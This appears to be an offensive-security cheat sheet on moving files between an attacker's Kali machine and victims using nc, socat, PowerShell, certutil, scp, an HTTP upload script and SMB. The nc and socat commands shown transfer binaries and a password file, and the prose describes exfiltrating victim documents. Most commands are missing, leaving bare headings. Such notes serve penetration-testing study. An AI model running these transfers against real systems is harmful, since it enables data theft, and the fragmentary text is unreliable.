File Transfer

nc

Receving machine:

nc -nlvp 4444 > incoming.exe

Sending machine:

nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe

socat

Sending:

sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt

Receving:

nc <remote server's ip address> 80 kali@kali:~$ socat - TCP4:<remote server's ip address>:80
sudo nc -lvp localhost 443 kali@kali:~$ sudo socat TCP4-LISTEN:443 STDOUT

PowerShell

Download file and save specifically.

Downloads and runs without saving to disk:

Basic invocation:

certutil

wget

scp

From Attacker machine.

Password will be required, sshd has to be running on victim (source for file). If necessary, start it:

Windows Exfiltration

If everything is disabled, usually HTTP outbound is still allowed.

Create the upload.php file and save it in /var/www/html on kali:

This processes an incoming file request and saves the transferred data to /var/www/uploads.

Next create the uploads folder, grant www-data permissions.

Then invoke the retrieval from the victim.

Where the IP is the victim machine and important.docx should now be in the kali uploads directory.

SMB

My personal fave, great for windows machines.

Copy to remote machine

Copy to kali

Last updated